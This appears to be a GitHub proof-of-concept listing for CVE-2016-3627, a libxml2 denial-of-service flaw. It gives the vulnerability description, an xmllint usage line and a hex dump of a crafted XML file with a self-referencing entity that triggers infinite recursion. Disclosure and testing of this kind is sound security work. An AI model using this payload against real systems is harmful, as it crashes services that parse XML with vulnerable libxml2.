CVE-2016-3627 PoC — Libxml2 拒绝服务漏洞

Source

https://github.com/Oneton429/CVE-2016-3627

Associated Vulnerability

Title: Libxml2 拒绝服务漏洞 (CVE-2016-3627)
Description:The xmlStringGetNodeList function in tree.c in libxml2 2.9.3 and earlier, when used in recovery mode, allows context-dependent attackers to cause a denial of service (infinite recursion, stack consumption, and application crash) via a crafted XML document.

Description

PoC of CVE-2016-3627

Readme

# [CVE-2016-3627](https://www.cve.org/CVERecord?id=CVE-2016-3627)

Usage: `xmllint --valid --recover CVE-2016-3627.xml`

```shell
> xxd CVE-2016-3627.xml
00000000: 3c21 444f 4354 5950 455b 3c21 454e 5449  <!DOCTYPE[<!ENTI
00000010: 5459 594e 2726 594e 3b27 3e3c 2145 4e54  TYYN'&YN;'><!ENT
00000020: 4954 5968 3e30 3cef bfbd 2053 3d22 2659  ITYh>0<... S="&Y
00000030: 4e3b                                     N;
```

File Snapshot

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